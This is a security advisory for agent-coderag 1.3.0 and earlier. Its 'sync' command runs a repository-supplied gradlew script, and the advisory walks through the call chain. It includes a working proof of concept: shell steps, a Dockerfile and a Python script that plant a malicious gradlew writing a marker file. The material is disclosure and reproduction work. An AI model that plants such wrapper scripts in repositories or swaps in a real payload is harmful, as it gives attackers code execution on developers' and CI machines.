GHSA-wg5p-8h9p-3mr7HighCVSS 8.6Disclosed before NVD

agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

Published
June 19, 2026
Last Modified
June 19, 2026

📋 Description

Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution

Summary

agent-coderag unconditionally executes a repository-controlled gradlew script during its default sync dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing build.gradle and a crafted gradlew) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default agent-coderag sync <path> invocation.

Details

The vulnerability exists across a four-step call chain in the sync command:

1. Entry point — code_rag/entry/cli.py:70

await manager.sync_dependencies(args.path or ".")

sync_dependencies() is called unconditionally before indexing. There is no opt-in flag; any agent-coderag sync invocation triggers dependency discovery.

2. Gradle project detection — code_rag/core/manager.py:40-47

The presence of a build.gradle or build.gradle.kts file in the target directory is sufficient to invoke _sync_gradle(). No additional checks are performed.

3. Wrapper selection — code_rag/core/manager.py:110-113

gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew")
gradle_bin: Optional[str] = None
if gradle_wrapper.exists():
    gradle_bin = str(gradle_wrapper.resolve())
else:
    gradle_bin = shutil.which("gradle")

When a repository-local gradlew exists, it is unconditionally preferred over the system-installed gradle. No content validation, signature check, or integrity verification is performed on this file.

4. Execution sink — code_rag/core/manager.py:152-158

process = await asyncio.create_subprocess_exec(
    gradle_bin,
    "-q",
    "--init-script",
    str(init_script),
    "printCodeRagCP",
    cwd=str(root),
    ...
)

The attacker-controlled gradlew is executed directly via asyncio.create_subprocess_exec() with the repository root as the working directory. validate_path (code_rag/core/utils.py:7-71) only constrains the path location (directory boundary), not the content or nature of the executed binary.

The complete data flow: cli.py:277 (path input) → cli.py:313-314 (sync_cmd) → cli.py:62 (validate_path) → cli.py:70 (sync_dependencies) → manager.py:40-47 (_sync_gradle) → manager.py:110-113 (wrapper selection) → manager.py:152-158 (execution sink).

PoC

Environment setup:

python3 -m venv /tmp/acr-venv
. /tmp/acr-venv/bin/activate
pip install agent-coderag==1.3.0

rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker
mkdir -p /tmp/acr-evil

Build the malicious repository:

# Trigger _sync_gradle() detection
printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle

# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly
printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \
    > /tmp/acr-evil/gradlew
chmod +x /tmp/acr-evil/gradlew

Trigger the vulnerability (victim action):

agent-coderag --db /tmp/acr.db sync /tmp/acr-evil

Verify exploitation:

cat /tmp/agent-coderag-poc-marker
# Expected output: CODERAG_RCE_SUCCESS

Docker-based reproduction (as confirmed in Phase 2):

# Build image from repository root
docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .

# Run PoC — exits 0 on successful exploitation
docker run --rm agent-coderag-vuln001

Phase 2 dynamic reproduction confirmed the following output:

[*] Evil repo created at /tmp/acr-evil-i560afcg
    build.gradle : 22 bytes
    gradlew      : 275 bytes  (executable=True)
[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg
[*] agent-coderag exit code : 0
[PASS] Exploit confirmed.
       Marker file : /tmp/acr-poc-marker
       Contents    : 'CODERAG_RCE_SUCCESS'
       The malicious gradlew was executed by agent-coderag during sync.

Impact

This is an Arbitrary Code Execution (ACE) vulnerability triggered by a local attack vector. Any user who runs agent-coderag sync against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.

Typical impacted scenarios include:

  • A developer cloning an untrusted repository and running agent-coderag sync to index it for AI-assisted code analysis.
  • A CI/CD pipeline that automatically indexes pull-request branches containing a crafted gradlew.
  • Any tooling or script that passes arbitrary paths to agent-coderag sync without user oversight.

Because the vulnerable component (agent-coderag) is a code-indexing tool intended to read repositories, victims have no expectation that indexing will execute files within the repository. This trust-boundary violation (reflected in the CVSS S:C — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*

# Install agent-coderag from local repo source (pinned to vulnerable commit)
COPY repo/ /app/repo/
RUN pip install --no-cache-dir /app/repo/

# Copy PoC script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

"""
PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution

Vulnerability:
    agent-coderag `sync` command calls sync_dependencies() unconditionally.
    When the target directory contains a build.gradle file, _sync_gradle() is triggered.
    _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.
    The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()
    without any content validation, enabling arbitrary code execution.

Data flow (source → sink):
    cli.py:70  → manager.sync_dependencies()
    manager.py:46 → _sync_gradle()
    manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve())  [untrusted file]
    manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...)  [sink]

Expected outcome:
    The malicious gradlew writes a marker to /tmp/acr-poc-marker.
    If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed.
"""

import asyncio
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from pathlib import Path


MARKER_PATH = "/tmp/acr-poc-marker"
DB_PATH = "/tmp/acr-poc.db"

MALICIOUS_GRADLEW = """\
#!/bin/sh
# Malicious gradlew: writes a proof-of-exploitation marker and simulates
# enough Gradle output for agent-coderag to continue without error.
printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker
# Output a fake empty classpath so the tool does not log an error
exit 0
"""

BUILD_GRADLE = "plugins { id 'java' }\n"


def setup_evil_repo(directory: str) -> None:
    """Create a minimal attacker-controlled Gradle repository."""
    repo_path = Path(directory)
    repo_path.mkdir(parents=True, exist_ok=True)

    # build.gradle triggers _sync_gradle() in manager.py:46
    (repo_path / "build.gradle").write_text(BUILD_GRADLE)

    # gradlew will be executed by manager.py:152 instead of system gradle
    gradlew = repo_path / "gradlew"
    gradlew.write_text(MALICIOUS_GRADLEW)
    gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)

    print(f"[*] Evil repo created at {directory}")
    print(f"    build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes")
    print(f"    gradlew      : {gradlew.stat().st_size} bytes  (executable={os.access(gradlew, os.X_OK)})")


def run_agent_coderag(evil_repo: str) -> subprocess.CompletedProcess:
    """Invoke agent-coderag sync against the malicious repository."""
    cmd = ["agent-coderag", "--db", DB_PATH, "sync", evil_repo]
    print(f"[*] Running: {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
    return result


def check_marker() -> str | None:
    """Return the marker content if it was written by the malicious gradlew."""
    try:
        return Path(MARKER_PATH).read_text()
    except FileNotFoundError:
        return None


def main() -> int:
    # Clean up any leftovers from a previous run
    for path in (MARKER_PATH, DB_PATH):
        if os.path.exists(path):
            os.remove(path)

    evil_repo = tempfile.mkdtemp(prefix="acr-evil-")
    try:
        # Step 1 — build the attacker-controlled repository
        setup_evil_repo(evil_repo)

        # Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)
        result = run_agent_coderag(evil_repo)
        print(f"[*] agent-coderag exit code : {result.returncode}")
        if result.stdout:
            print(f"[*] stdout:\n{result.stdout.rstrip()}")
        if result.stderr:
            print(f"[*] stderr:\n{result.stderr.rstrip()}")

        # Step 3 — verify the marker was written by the malicious gradlew
        marker_content = check_marker()
        if marker_content and "CODERAG_RCE_SUCCESS" in marker_content:
            print("\n[PASS] Exploit confirmed.")
            print(f"       Marker file : {MARKER_PATH}")
            print(f"       Contents    : {marker_content!r}")
            print("       The malicious gradlew was executed by agent-coderag during sync.")
            return 0
        else:
            print("\n[FAIL] Marker file not found or does not contain the expected string.")
            print(f"       Expected : 'CODERAG_RCE_SUCCESS'")
            print(f"       Got      : {marker_content!r}")
            return 1
    finally:
        shutil.rmtree(evil_repo, ignore_errors=True)


if __name__ == "__main__":
    sys.exit(main())

🎯 Affected products1

  • pip/agent-coderag:<= 1.3.0

🔗 References (2)